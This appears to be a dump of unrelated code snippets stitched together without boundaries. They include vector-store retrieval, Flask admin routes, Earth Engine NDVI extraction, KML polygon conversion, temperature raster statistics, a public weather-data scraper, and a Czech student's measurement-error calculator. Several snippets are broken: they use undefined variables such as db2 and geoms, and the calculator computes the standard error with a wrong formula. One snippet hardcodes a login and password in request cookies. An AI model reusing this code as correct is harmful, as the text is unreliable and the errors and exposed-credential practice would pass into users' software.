# load it into Chroma
db = Chroma.from_documents(docs, embedding_function, persist_directory="./chroma_db")

# query it
#query = "Question"
#docs = db.similarity_search(query)

# print results
print(docs[0].page_content)

docs = db2.similarity_search(query)
# Route to blacklist a creator
@app.route('/blacklist_creator/<int:creator_id>', methods=['POST'])
def blacklist_creator(creator_id):
    admin_id = session['user_id'] 

    
    creator_blacklist = CreatorBlacklist.query.filter_by(admin_id=admin_id, creator_id=creator_id).first()
    if creator_blacklist:
        flash('Creator is already blacklisted.', 'danger')
    else:
        creator_blacklist = CreatorBlacklist(admin_id=admin_id, creator_id=creator_id)
        db.session.add(creator_blacklist)
        db.session.commit()
        flash('Creator has been blacklisted.', 'success')

    return redirect(url_for('review_creator'))

# Route to whitelist a creator
@app.route('/whitelist_creator/<int:creator_id>', methods=['POST'])
def whitelist_creator(creator_id):
    admin_id = session['user_id']  
    creator_blacklist = CreatorBlacklist.query.filter_by(admin_id=admin_id, creator_id=creator_id).first()
    if creator_blacklist:
        db.session.delete(creator_blacklist)
        db.session.commit()
        flash('Creator has been whitelisted.','success')
    else:
        flash('Creator was not blacklisted.','danger')
    return redirect(url_for('review_creator'))  
docsearch.as_retriever(search_type="mmr")

# Retrieve more documents with higher diversity- useful if your dataset has many similar documents
docsearch.as_retriever(search_type="mmr", search_kwargs={'k': 6, 'lambda_mult': 0.25})

# Fetch more documents for the MMR algorithm to consider, but only return the top 5
docsearch.as_retriever(search_type="mmr", search_kwargs={'k': 5, 'fetch_k': 50})

# Only retrieve documents that have a relevance score above a certain threshold
docsearch.as_retriever(search_type="similarity_score_threshold", search_kwargs={'score_threshold': 0.8})

# Only get the single most similar document from the dataset
docsearch.as_retriever(search_kwargs={'k': 1})

# Use a filter to only retrieve documents from a specific paper
docsearch.as_retriever(search_kwargs={'filter': {'paper_title':'GPT-4 Technical Report'}})
engine = create_engine(
    f"trino://{user}:{user_key}@{host}:{port}/{catalog}", 
    connect_args={
        "auth": BasicAuthentication(user, user_key),
        "http_scheme": "https",
    }
)
connection = engine.connect()
query = f"""

"""

pd.read_sql(query, connection)
'''def download_data(urls):
    filenames = []
    
    for i, link in enumerate(urls):
        try:
            result = requests.get(link, cookies={'urs_user': 'liviaalvzs', 'urs_pass': 'Ss1234567890?'})
            result.raise_for_status()
            
            basename = get_filenames_from_urls(link)
            filenames.append(basename)
            
            with open(basename, 'wb') as f:
                f.write(result.content)
            
            print(f'O arquivo do link {link} foi baixado com sucesso e salvo como {basename}.')
            
        except requests.exceptions.HTTPError as errh:
            print ("HTTP Error:",errh)
        except requests.exceptions.ConnectionError as errc:
            print ("Error Connecting:",errc)
        except requests.exceptions.Timeout as errt:
            print ("Timeout Error:",errt)
        except requests.exceptions.RequestException as err:
            print ("Something went wrong:",err)
        
    return filenames
python3 manage.py makemigrations  --settings=CheckInPlatform.settings.localpkt 

python3 manage.py migrate  --settings=CheckInPlatform.settings.localpkt
import pandas as pd
import sqlite3

# Create database
conn = sqlite3.connect('guests.db')
c = conn.cursor()

# Create table
c.execute('''CREATE TABLE guests
             (id INTEGER PRIMARY KEY AUTOINCREMENT,
              name TEXT,
              phone TEXT,
              email TEXT,
              visits INTEGER)''')

# Insert data
df = pd.read_csv('guests.csv')
df.to_sql('guests', conn, if_exists='append', index=False)

# Close connection
conn.close()
import os
import zipfile

def zipdir(path, ziph):
    # ziph is zipfile handle
    for root, dirs, files in os.walk(path):
        for file in files:
            ziph.write(os.path.join(root, file),
                       os.path.relpath(os.path.join(root, file),
                                       os.path.join(path, '..')))

with zipfile.ZipFile('/content/m1.Zip', 'w', zipfile.ZIP_DEFLATED) as zipf:
    zipdir('/content/m1', zipf)
import numpy as np
import matplotlib.pyplot as plt

# Create a sample dataset
data = np.random.randn(1000)

# Calculate the number of bins
num_bins = 10

# Create a histogram
hist, bins = np.histogram(data, bins=num_bins)

# Plot the histogram
plt.bar(bins[:-1], hist, width=bins[1] - bins[0])
plt.xlabel("Value")
plt.ylabel("Frequency")
plt.title("Histogram of Sample Data")
plt.show()
pip install -U pip setuptools
pip install wheel

!pip install eeconvert

pip install --upgrade urllib3

import pandas as pd
import geopandas as gpd
import datetime
import ee
import eeconvert

ee.Authenticate()
ee.Initialize()

from google.colab import drive
drive.mount('/content/drive')

Maiz_str = '/content/drive/MyDrive/Puntos/SHP/Col_2021_Maiz.shp'
Soja_str = '/content/drive/MyDrive/Puntos/SHP/Col_2021_Soja.shp'

df = gpd.read_file(Maiz_str, parse_dates=['Fecha_Siembra', 'Rango_Floor','Rango_Top'])
#df = gpd.read_file(Soja_str, parse_dates=['Fecha_Cosecha', 'Date_R3_Fr', 'Date_R6_Fr'])# en el registro 315 modifiqué el año 0201 por 2016 de la columna Fecha_Cosecha
#df = df.head(10)
display(df.columns)

df['Start_Date'] = pd.to_datetime(df['Rango_Flor']).dt.strftime('%Y-%m-%d')
df['End_Date'] = pd.to_datetime(df['Rango_Top_']).dt.strftime('%Y-%m-%d')


#df['Start_Date'] = pd.to_datetime(df['Date_R3_Fr']).dt.strftime('%Y-%m-%d')
#df['End_Date'] = pd.to_datetime(df['Date_R6_Fr']).dt.strftime('%Y-%m-%d')

df = df[df['Start_Date'].notna()]
df = df[df['End_Date'].notna()]
df = df[df['Longitud'].notna()]
df = df[df['Latitud'].notna()]

df = df[['Start_Date','End_Date', 'geometry', 'Parcela']]

new_df = pd.DataFrame([],columns=['id', 'longitude', 'latitude', 'time', 'NDVI', 'Parcela'])

for index, row in df.iterrows():
  newGDF = df.filter(items = [index], axis=0)
  fc = eeconvert.gdfToFc(newGDF)
  feature = fc.geometry().buffer(-125)
  print(row.Parcela)
  Start_Date = ee.Date(row.Start_Date)
  End_Date = ee.Date(row.End_Date)

  dataset = ee.ImageCollection("MODIS/061/MOD13Q1").select('NDVI').filter(ee.Filter.date(Start_Date,End_Date))
  NDVIvalues = dataset.getRegion(feature, 250).getInfo()
  NDVI_df = pd.DataFrame(NDVIvalues)
  NDVI_df.columns = NDVI_df.iloc[0]
  NDVI_df = NDVI_df.iloc[1:].reset_index(drop=True)
  NDVI_df.insert(1, "Parcela", row.Parcela)
  new_df = new_df.append(NDVI_df)

new_df.to_csv('/content/drive/MyDrive/Puntos/NDVI_Poligonos_Maiz.csv',header=True, index=False)
import os
import glob
import geopandas as gpd
import pandas as pd
import re

json_dir_name = "/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/2023/"
json_pattern = os.path.join(json_dir_name,'*.geojson')
file_list = glob.glob(json_pattern)

collection = gpd.GeoDataFrame([])

for file in file_list:
    print(file)
    newGpd = gpd.read_file(file)
    newGpd['NAME'] = re.sub(r"[^a-zA-Z0-9]","_",os.path.basename(file)[:-8])
    collection = pd.concat([collection,newGpd])

collection = collection.loc[collection.geometry.geom_type=='Polygon']
collection.to_file('/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/Col_2023_name.shp')
from shapely.geometry import *
import glob
import fiona
from zipfile import ZipFile
import pandas as pd
import io
import geopandas as gpd
from fastkml import kml
import shapely

def remove_third_dimension(geom):
    if geom.is_empty:
        return geom

    if isinstance(geom, Polygon):
        exterior = geom.exterior
        new_exterior = remove_third_dimension(exterior)

        interiors = geom.interiors
        new_interiors = []
        for int in interiors:
            new_interiors.append(remove_third_dimension(int))

        return Polygon(new_exterior, new_interiors)

    elif isinstance(geom, LinearRing):
        return LinearRing([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, LineString):
        return LineString([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, Point):
        return Point([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, MultiPoint):
        points = list(geom.geoms)
        new_points = []
        for point in points:
            new_points.append(remove_third_dimension(point))

        return MultiPoint(new_points)

    elif isinstance(geom, MultiLineString):
        lines = list(geom.geoms)
        new_lines = []
        for line in lines:
            new_lines.append(remove_third_dimension(line))

        return MultiLineString(new_lines)

    elif isinstance(geom, MultiPolygon):
        pols = list(geom.geoms)

        new_pols = []
        for pol in pols:
            new_pols.append(remove_third_dimension(pol))

        return MultiPolygon(new_pols)

    elif isinstance(geom, GeometryCollection):
        geoms = list(geom.geoms)

        new_geoms = []
        for geom in geoms:
            new_geoms.append(remove_third_dimension(geom))

        return GeometryCollection(new_geoms)

    else:
        raise RuntimeError("Currently this type of geometry is not supported: {}".format(type(geom)))
        
fiona.drvsupport.supported_drivers['kml'] = 'rw'
fiona.drvsupport.supported_drivers['KML'] = 'rw'
fiona.drvsupport.supported_drivers['libkml'] = 'rw'
fiona.drvsupport.supported_drivers['LIBKML'] = 'rw'

outDir = '/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/2023/'
files = glob.glob('/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/KMZ 2023/**/*.kml', recursive=True)

for file in files:
    print(file)
    polys = gpd.read_file(file, driver='KML')

    name = polys.Name
    geom = polys.geometry
    file_name = os.path.basename(file)[:-4]
    
    for (geom, name) in zip(geoms, names):
        geom = remove_third_dimension(geom)
        gdf = gpd.GeoDataFrame(index=[0], crs='epsg:4326', geometry=[geom])
        
        gdf.to_file(outDir+file_name+ "_"+name+'.geojson', driver='GeoJSON')
from shapely.geometry import *
import glob
from zipfile import ZipFile
import pandas as pd
import io
import geopandas as gpd
from fastkml import kml
import shapely

def remove_third_dimension(geom):
    if geom.is_empty:
        return geom

    if isinstance(geom, Polygon):
        exterior = geom.exterior
        new_exterior = remove_third_dimension(exterior)

        interiors = geom.interiors
        new_interiors = []
        for int in interiors:
            new_interiors.append(remove_third_dimension(int))

        return Polygon(new_exterior, new_interiors)

    elif isinstance(geom, LinearRing):
        return LinearRing([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, LineString):
        return LineString([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, Point):
        return Point([xy[0:2] for xy in list(geom.coords)])

    elif isinstance(geom, MultiPoint):
        points = list(geom.geoms)
        new_points = []
        for point in points:
            new_points.append(remove_third_dimension(point))

        return MultiPoint(new_points)

    elif isinstance(geom, MultiLineString):
        lines = list(geom.geoms)
        new_lines = []
        for line in lines:
            new_lines.append(remove_third_dimension(line))

        return MultiLineString(new_lines)

    elif isinstance(geom, MultiPolygon):
        pols = list(geom.geoms)

        new_pols = []
        for pol in pols:
            new_pols.append(remove_third_dimension(pol))

        return MultiPolygon(new_pols)

    elif isinstance(geom, GeometryCollection):
        geoms = list(geom.geoms)

        new_geoms = []
        for geom in geoms:
            new_geoms.append(remove_third_dimension(geom))

        return GeometryCollection(new_geoms)

    else:
        raise RuntimeError("Currently this type of geometry is not supported: {}".format(type(geom)))
        
outDir = '/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/GeoJson/2023/'
files = glob.glob('/Users/agroclimate/Documents/PriceFrobes/Uruguay/Poligonos/KMZ 2023/**/*.kmz', recursive=True)

for file in files:
    print(file)
    
    kmz = ZipFile(file, 'r')
    kml_content = kmz.open('doc.kml', 'r').read()

    k = kml.KML()
    k.from_string(kml_content)
    
    docs = list(k.features())
    
    folders = []
    for d in docs:
        folders.extend(list(d.features()))
    
    records = []
    
    while type(folders[0]) is not type(kml.Placemark('{http://www.opengis.net/kml/2.2}', 'id', 'name', 'description')):
        records = []
        for f in folders:
            records.extend(list(f.features()))
        folders = records
    
    names = [element.name for element in folders]

    geoms = [element.geometry for element in folders]
    
    file_name = os.path.basename(file)[:-4]
    
    for (geom, name) in zip(geoms, names):
        geom = remove_third_dimension(geom)
        gdf = gpd.GeoDataFrame(index=[0], crs='epsg:4326', geometry=[geom])
        
        gdf.to_file(outDir+file_name+ "_"+name+'.geojson', driver='GeoJSON')
from google.colab import drive
drive.mount('/content/drive')
base_dir = "/content/drive/MyDrive/vision_computador"
os.chdir(base_dir)
print('actual direccion de trabajo:',base_dir)

# ingresar direccion de la carpeta de trabajo
WORKPLACE_DIR = None
assert WORKPLACE_DIR is not None, "[!] Enter the la direccion de la carpeta de trabajo."
# This function chooses at random which action to be performed within the range 
# of all the available actions.
def ActionChoice(available_actions_range):
    if(sum(PossibleAction)>0):
        next_action = int(ql.random.choice(PossibleAction,1))
    if(sum(PossibleAction)<=0):
        next_action = int(ql.random.choice(5,1))
    return next_action

# Sample next action to be performed
action = ActionChoice(PossibleAction)
I highly recommend you tf.data.Dataset for creating the dataset:

Do all processes (like resize and normalize) that you want on all images with dataset.map.
Instead of using train_test_split, Use dataset.take, datast.skip for splitting dataset.
Code for generating random images and label:

# !pip install autokeras
import tensorflow as tf
import autokeras as ak
import numpy as np

data = np.random.randint(0, 255, (45_000,32,32,3))
label = np.random.randint(0, 10, 45_000)
label = tf.keras.utils.to_categorical(label) 
 Save
Convert data & label to tf.data.Dataset and process on them: (only 55 ms for 45_000, benchmark on colab)

dataset = tf.data.Dataset.from_tensor_slices((data, label))
def resize_normalize_preprocess(image, label):
    image = tf.image.resize(image, (16, 16))
    image = image / 255.0
    return image, label

# %%timeit 
dataset = dataset.map(resize_normalize_preprocess, num_parallel_calls=tf.data.AUTOTUNE)
# 1 loop, best of 5: 54.9 ms per loop
 Save
Split dataset to 80% for train and 20% for test
Train and evaluate AutoKeras.ImageClassifier
dataet_size = len(dataset)
train_size = int(0.8 * dataet_size)
test_size = int(0.2 * len(dataset))

dataset = dataset.shuffle(32)
train_dataset = dataset.take(train_size)
test_dataset = dataset.skip(train_size)

print(f'Size dataset : {len(dataset)}')
print(f'Size train_dataset : {len(train_dataset)}')
print(f'Size test_dataset : {len(test_dataset)}')

clf = ak.ImageClassifier(overwrite=True, max_trials=1)
clf.fit(train_dataset, epochs=1)
print(clf.evaluate(test_dataset))
>>> import shutil, os

>>> os.chdir('C:\\')
>>> shutil.copy('C:\\spam.txt', 'C:\\delicious')
# C:\\delicious\\spam.txt'

>>> shutil.copy('eggs.txt', 'C:\\delicious\\eggs2.txt')
# 'C:\\delicious\\eggs2.txt'
>>> import os
>>> os.makedirs('C:\\delicious\\walnut\\waffles')
>>> import os

>>> os.getcwd()
# 'C:\\Python34'
>>> os.chdir('C:\\Windows\\System32')

>>> os.getcwd()
# 'C:\\Windows\\System32'
>>> my_files = ['accounts.txt', 'details.csv', 'invite.docx']

>>> for filename in my_files:
...     print(os.path.join('C:\\Users\\asweigart', filename))
...
# C:\Users\asweigart\accounts.txt
# C:\Users\asweigart\details.csv
# C:\Users\asweigart\invite.docx
import csv

import json



# Open the JSON file

with open('data.json') as json_file:

    data = json.load(json_file)



# Create a new CSV file and write the data

with open('data.csv', 'w', newline='') as csv_file:

    writer = csv.DictWriter(csv_file, fieldnames=data[0].keys())

    writer.writeheader()

    for row in data:

        writer.writerow(row)
<link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/5.15.3/css/all.min.css">
  
  
    <ul class="nav">
            <li><i class="fas fa-home"></i><a href="#">Home</a></li>
            <li><i class="fas fa-user"></i><a href="#">Profile</a></li>
            <li><i class="fas fa-envelope"></i><a href="#">Messages</a></li>
            <li><i class="fas fa-cog"></i><a href="#">Settings</a></li>
        </ul>
def pull_file(URL, savepath):
    r = requests.get(URL)
    with open(savepath, 'wb') as f:
        f.write(r.content)   
    # Use the print method for logging
    print(f"File pulled from {URL} and saved to {savepath}")

from airflow.operators.python_operator import PythonOperator

# Create the task
pull_file_task = PythonOperator(
    task_id='pull_file',
    # Add the callable
    python_callable=pull_file,
    # Define the arguments
    op_kwargs={'URL':'http://dataserver/sales.json', 'savepath':'latestsales.json'},
    dag=process_sales_dag
)
import pandas as pd
import geopandas as gps
import datetime
import ee

ee.Authenticate()
ee.Initialize()

from google.colab import drive
drive.mount('/content/drive')

"""Selccionar Cultivo"""
#Maiz_str = '/content/drive/MyDrive/Puntos/Maiz.csv'
#df = pd.read_csv(Maiz_str, parse_dates=['Fecha_Siembra', 'Rango_Floor','Rango_Top'])

Soja_str = '/content/drive/MyDrive/Puntos/Soja.csv'
df = pd.read_csv(Soja_str, parse_dates=['Fecha_Cosecha', 'R3', 'R6'])
# En archivo de soja fila 315, columna Fecha_Cosecha modifiqué año 0201 por 2016 

df['Start_Date'] = df['R3']
df['End_Date'] = df['R6']

df = df[df['Start_Date'].notna()]
df = df[df['End_Date'].notna()]
df = df[df['Longitud'].notna()]
df = df[df['Latitud'].notna()]

new_df = pd.DataFrame([],columns=['id', 'longitude', 'latitude', 'time', 'NDVI', 'Parcela','Codigo_Lote'])

for index, row in df.iterrows():

    feature = ee.Algorithms.GeometryConstructors.Point([row.Longitud,row.Latitud])

    Start_Date = ee.Date(row.Start_Date)
    End_Date = ee.Date(row.End_Date)

    dataset = ee.ImageCollection("MODIS/061/MOD13Q1").select('NDVI').filter(ee.Filter.date(Start_Date,End_Date))
    NDVIvalues = dataset.getRegion(feature, 250).getInfo()
    NDVI_df = pd.DataFrame(NDVIvalues)
    NDVI_df.columns = NDVI_df.iloc[0]
    NDVI_df = NDVI_df.iloc[1:].reset_index(drop=True)
    NDVI_df.insert(1, "Parcela", row.Parcela)
    NDVI_df.insert(1, "Codigo_Lote", row.Codigo_Lote)
    new_df = new_df.append(NDVI_df)

new_df.to_csv('/content/drive/MyDrive/Puntos/NDVI_Puntos.csv',header=True, index=False)
# Je to na tema co jsme delali ve fyzice jen cast tridy a nevim jestli je to latka ale pokud ano tak tohle muze byt jako kontrola kdyz by na to byl trrrreba tesst
# Tady je celej kod
# Nakodoval jsem to já, není to ukradnutý
# Mělo by to fungovat, 1x jsem to zkoušel počítat ručně a přes program. Řučně to trvalo tak 100x dýl a ještě to nebylo přesný. A funguje to
# Asi to neni nic extre protoze nejsem 6tilety študent, ale účel to plní




# Dalsi projekty kdyztak na kubasobr.blogspot.com
import random
import time
import math

import os

def Zacatek():
    ascii_art1 = """ .----------------.  .----------------.  .----------------.  .----------------. 
| .--------------. || .--------------. || .--------------. || .--------------. |
| |    _______   | || |     ____     | || | ____    ____ | || | ____   ____  | |
| |   /  ___  |  | || |   .'    `.   | || ||_   \  /   _|| || ||_  _| |_  _| | |
| |  |  (__ \_|  | || |  /  .--.  \  | || |  |   \/   |  | || |  \ \   / /   | |
| |   '.___`-.   | || |  | |    | |  | || |  | |\  /| |  | || |   \ \ / /    | |
| |  |`\____) |  | || |  \  `--'  /  | || | _| |_\/_| |_ | || |    \ ' /     | |
| |  |_______.'  | || |   `.____.'   | || ||_____||_____|| || |     \_/      | |
| |              | || |              | || |              | || |              | |
| '--------------' || '--------------' || '--------------' || '--------------' |
 '----------------'  '----------------'  '----------------'  '----------------' """
    print(ascii_art1)
    ascii_art2 = """      _       _          _       ____        _          
     | | __ _| | ___   _| |__   / ___|  ___ | |__  _ __ 
  _  | |/ _` | |/ / | | | '_ \  \___ \ / _ \| '_ \| '__|
 | |_| | (_| |   <| |_| | |_) |  ___) | (_) | |_) | |   
  \___/ \__,_|_|\_\\__,_|_.__/  |____/ \___/|_.__/|_|   
                                                        """
    print(ascii_art2)

    print("Vítejte u programu SOMV, který jsem vytvořil jako malý projekt do fyziky když jsem se nudil. SOMV stojí pro Směrodatná odchylka měření veličiny"+"\n"+"Program je určen jako pomůcka k měření. Program vám vypočítá SOMV a i Relativní odchylku  aby jste věděli jak přesně jste měřili"+"\n"+"Program vytvoří i graf s vámi danými hodnotami"+"\n"+"Je to vše naprogramované přes python, jelikož to je jediný co umím vcelku, max základy html css a javascript."+"\n"+"\n"+"NÁVOD k použití:"+"\n"+"Program se vás bude ptát na měřené hodnoty a vy je bude zadávat ve STEJNÝCH jednotkách(v nové verzi možná vylepším)"+"\n"+"Jakmile zadáte všechny hodnoty co chcete tak program sám řekne co dál."+"\n"+"Autorem je Jakub Šobr Videnska 1.B, update ohlášeny předem na kubasobr.blogspot.cz")


    print("")
    print("START PROGRAMU")
    random_cislo = random.randint(0,100)
    start_otazka = int(input("Napište číslo "+str(random_cislo) +" pro start programu: "))
    if start_otazka == random_cislo:
        Informace_funkce()
    else:
        print("")
        print("OZNÁMENÍ")
        print("Bud jste zadali špatné číslo a nebo nastalo v programu k chybě")
        print("Za pět sekund bude zapnuta začáteční funkce znovu.")
        print("")
        time.sleep(5)
        Zacatek()

def Informace_funkce():
    print("")
    print("PROGRAM STARTUJE")
    otazka_pocet_hodnot = int(input("INFORMACE 1 - Kolikrát jste provedli měření?: "))
    otazka_jednotka = input("INFORMACE 2 - Zadejte jednotku v níž jste prováděli měření (cm,dm,m,litr apod): ")
    tts = input("INFORMACE 3 - Chcete aby program výsledek zazněl jako text to speech? ano / ne: ")


    def Hlavni_funkce(pocet_hodnot,jednotka):
        print("")
        aktualni_cislo = 1
        hodnoty_list = []
        index = 0
        celkove = 0

        for _ in range(pocet_hodnot):
            hodnota = float(input("Zadejte hodnotu č."+str(aktualni_cislo)+" : "))
            celkove += hodnota
            hodnoty_list.insert(index, hodnota)
            index +=1
            aktualni_cislo +=1


        ar_prumer = celkove/pocet_hodnot
        def Casti(aritmeticky_prumer):
            index_cteni  = 0
            soucet_casti = 0
            for hodnota in hodnoty_list:
                cast = (hodnota - aritmeticky_prumer) ** 2
                soucet_casti += cast
                index_cteni += 1
            # Odmocní celkový součet
            citatel = soucet_casti ** 0.5
            jmenovatel = pocet_hodnot *(pocet_hodnot-1)

            odchylka = citatel /jmenovatel
            minus_interval = aritmeticky_prumer-odchylka
            plus_interval = aritmeticky_prumer+odchylka
            relativni_odchylka = odchylka/aritmeticky_prumer

            # Rounding
            round_odchylka = round(odchylka,3)
            round_minus_interval = round(minus_interval,3)
            round_plus_interval = round(plus_interval, 3)
            round_relativni_odchylka = round(relativni_odchylka, 3)

            # Uprava pro tts
            uprava_round_odchylka = str(round_odchylka).replace('.', ',')
            uprava_round_minus_interval = str(round_minus_interval).replace('.', ',')
            uprava_round_plus_interval = str(round_plus_interval).replace('.', ',')
            uprava_round_relativni_odchylka = str(round_relativni_odchylka).replace('.', ',')
            if odchylka > 0.5:
                text = ("Systém odhalil nepřesné měření! Odchylka je +- " + str(round_odchylka) + str(
                    jednotka) + " Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                    round_plus_interval) + ". Relativní odchylka je " + str(
                    round_relativni_odchylka) + " Děkujeme za použití programu.")
                presne_hodnoty = ("Odchylka = "+str(odchylka)+"\n"+"Interval = od "+str(minus_interval)+" po "+str(plus_interval)+"\n"+"Relativní odchylka = "+str(relativni_odchylka))
                print(text)
                presne_ot = int(input("Chcete vidět přesné hodnoty(1) nebo stačí obecnější?(2): "))
                if presne_ot == 1:
                    print(presne_hodnoty)

            else:
                text = ("Měření je v pořádku! Odchylka je +- " + str(round_odchylka) + str(
                    jednotka) + " Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                    round_plus_interval) + ". Relativní odchylka je " + str(
                    round_relativni_odchylka) + " Děkujeme za použití programu.")
                presne_hodnoty = ("Odchylka = "+str(odchylka)+"\n"+"Interval = od "+str(minus_interval)+" po "+str(plus_interval)+"\n"+"Relativní odchylka = "+str(relativni_odchylka))
                print(text)
                presne_ot = int(input("Chcete vidět přesné hodnoty(1) nebo stačí obecnější?(2): "))
                if presne_ot == 1:
                    print(presne_hodnoty)


            def Tts():
                # User Inteface
                if odchylka > 1:
                    text = ("Systém odhalil nepřesné měření! Odchylka je +- " + str(uprava_round_odchylka) + str(
                        jednotka) + " Reálná hodnota je někde mezi " + str(uprava_round_minus_interval) + " a " + str(
                        uprava_round_plus_interval) + ". Relativní odchylka je " + str(
                        uprava_round_relativni_odchylka) + " Děkujeme za použití programu.")
                    print(text)
                else:
                    text = ("Měření je v pořádku! Odchylka je +- " + str(uprava_round_odchylka) + str(
                        jednotka) + " Reálná hodnota je někde mezi " + str(uprava_round_minus_interval) + " a " + str(
                        uprava_round_plus_interval) + ". Relativní odchylka je " + str(
                        uprava_round_relativni_odchylka) + " Děkujeme za použití programu.")
                    print(text)

                from gtts import gTTS
                import os

                # Text, který chcete převést na hlas
                if odchylka > 1:
                    text = "Systém odhalil nepřesné měření! Odchylka je +-" + str(round_odchylka) + " " + str(
                        jednotka) + "Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                        round_plus_interval) + ". Relativní odchylka je " + str(
                        round_relativni_odchylka) + "Děkujeme za použití programu."
                else:
                    text = "Měření je v pořádku! Odchylka je +-" + str(round_odchylka) + " " + str(
                        jednotka) + "Reálná hodnota je někde mezi " + str(round_minus_interval) + " a " + str(
                        round_plus_interval) + ". Relativní odchylka je " + str(
                        round_relativni_odchylka) + "Děkujeme za použití programu."

                # Vytvoření instance gTTS s textem a nastavením jazyka na češtinu
                tts = gTTS(text, lang='cs')

                # Uložení hlasového souboru na disk
                tts.save("nahravka.mp3")

                # Přehrání hlasového souboru (vyžaduje externí přehrávač)
                os.system("nahravka.mp3")
            def graf_menu():
                text = """                   __ 
   __ _ _ __ __ _ / _|
  / _` | '__/ _` | |_ 
 | (_| | | | (_| |  _|
  \__, |_|  \__,_|_|  
  |___/               """
                print(text)
                otazka = input("Chcete zobrazit hodnoty ve grafu? ano / ne: ")
                if otazka == "ano":
                    graf()
                else:
                    print("Děkujeme za použití programu. Program se vypne za 10 sekund")
                    time.sleep(10)
            def graf():
                import matplotlib.pyplot as plt

                import matplotlib.pyplot as plt
                import numpy as np

                #hodnoty_list = [15, 18, 12, 25, 14]
                jednotka = "cm"
                poradi = list(range(1, pocet_hodnot + 1))  # Od 1 do pocet_hodnot

                # Příprava dat
                x = poradi
                y = hodnoty_list

                # Vytvoření čárového grafu
                plt.plot(x, y, label='Vámi změřené hodnoty', color='b')

                # Přidání první horizontální čáry na hodnotu 16 s červenou barvou
                plt.axhline(y=minus_interval, color='r', linestyle='-.', label='Mínusový interval')

                # Přidání druhé horizontální čáry na hodnotu 22 s červenou barvou
                plt.axhline(y=plus_interval, color='r', linestyle='-.', label='Plusový interval')

                # Přidání tučné zelené čáry na hodnotu 20
                plt.axhline(y=aritmeticky_prumer, color='g', linestyle='--', linewidth=3, label='Aritmetický průměr')

                # Vyplnění prostoru mezi červenými čarami
                plt.fill_between(x, minus_interval, plus_interval, color='yellow', alpha=0.5, label='Interval odchylky')

                # Nastavení popisků os
                plt.ylabel('Hodnoty v ' + jednotka)
                plt.xlabel('Pořadí')

                # Zobrazení legendy
                plt.legend()

                # Zobrazení grafu
                plt.show()

            if tts == "ano":
                Tts()
                graf_menu()
            else:
                graf_menu()

        Casti(ar_prumer)







    Hlavni_funkce(otazka_pocet_hodnot,otazka_jednotka)

Zacatek()
# made by jkob sobr 23 original
!pip install rasterstats
!pip install rasterio
!pip install leafmap

import glob
import pandas as pd
import rasterio
from rasterio.mask import mask
import geopandas as gps
from rasterstats import zonal_stats

from google.colab import drive
drive.mount('/content/drive')

files = glob.glob(f"/content/drive/MyDrive/Sura/Datos TMax/2011_15/SAMeT_CPTEC_TMAX_2013*.nc")
print(len(files))

grid_str = '/content/drive/MyDrive/Sura/Seccionales_Policiales_WGS84_Selected.shp'
poligonos = gps.read_file(grid_str)

df = pd.DataFrame([], columns=['fecha', 'median', 'CODIGOSECC'])

for file in files:

    with rasterio.open('netcdf:'+ file + ':tmax') as msla_nc:
        msla_nc_data = msla_nc.read(1)

    affine= msla_nc.transform

    print(file)
    for index, row in poligonos.iterrows():
        features = row.geometry

        zs = zonal_stats(features, msla_nc_data,affine=affine,all_touched= False,
                    stats="median")

        df = df.append(pd.DataFrame([[zs[0].get('median'), str(file)[-11:-3],row['CODIGOSECC']]],
                    columns=['median', 'fecha','CODIGOSECC']))

        print(row['CODIGOSECC'])

df.to_csv('/content/drive/MyDrive/Sura/Tmax2013.csv',header=True, index=False)


import glob
import pandas as pd

df = pd.DataFrame([], columns=['fecha', 'median', 'CODIGOSECC'])

files = glob.glob(f"/content/drive/MyDrive/Sura/Datos TMax/Tmax2*.csv")
print(len(files))
for file in files:
  df = df.append(pd.read_csv(file))
#print(df)
df['fecha'] = df['fecha'].astype(str)
df['year'] = df.fecha.str[:4]
df['month'] = df.fecha.str[4:6]
df['day'] = df.fecha.str[-2:]
#display(df.groupby('year').count())

df.to_csv('/content/drive/MyDrive/Sura/TmaxCompleto.csv',header=True, index=False)
import os
import requests
from bs4 import BeautifulSoup
import urllib.request
from urllib.parse import urljoin

base_url = 'http://ftp.cptec.inpe.br/'

baseDir = 'modelos/tempo/SAMeT/DAILY/TMAX/'

outputDir = '/Users/agroclimate/Documents/PriceFrobes/Uruguay/Sura/CPTEC/Faltantes/'

years = list(range(2022, 2023))
months = list(range(1,4))+list(range(10, 13))
#months = list(range(10, 13))
for year in years:

    for month in months:
        if month < 10:
            ftp_path = base_url + baseDir + str(year) + '/0' + str(month) + '/'
        elif month >= 10:
            ftp_path = base_url + baseDir + str(year) + '/' + str(month) + '/'
        
        # List folder content
        response = requests.get(ftp_path)
        
        soup = BeautifulSoup(response.content, 'html.parser')
        # Find all the 'a' tags (hyperlinks) on the page
        links = soup.find_all('a')

        # Extract filenames from the href attribute of 'a' tags
        files = [link['href'] for link in links if link.has_attr('href')]

        # Filter out directories and other unwanted links
        files = [filename for filename in files if filename.endswith('.nc')]
    
        for file in files:
            try:
                file_url = urljoin(ftp_path, file)

                to_download = (outputDir + file)

                # Download the file
                urllib.request.urlretrieve(file_url, to_download)

                print(f"Downloaded: {file}")

            except:
                print("Error")
SLP = SLP.assign_coords(longitude=(((SLP.longitude + 180) % 360) -180))
Z = Z.assign_coords(longitude=(((Z.longitude + 180) % 360) -180))
SLP = SLP.sortby(SLP['longitude'])
Z = Z.sortby(Z['longitude'])
.\env\Scripts\activate
find_item = input("Enter the item to be searched here:- ").lower()

items = {'wand': 5, 'telescope': 2, 'feather pen': 7}

for thing in items:
    if thing == find_item:
        print(f"{items[thing]} units of {thing} are present.")
        break
else:
    print('No stock left! You need to go and buy!!')
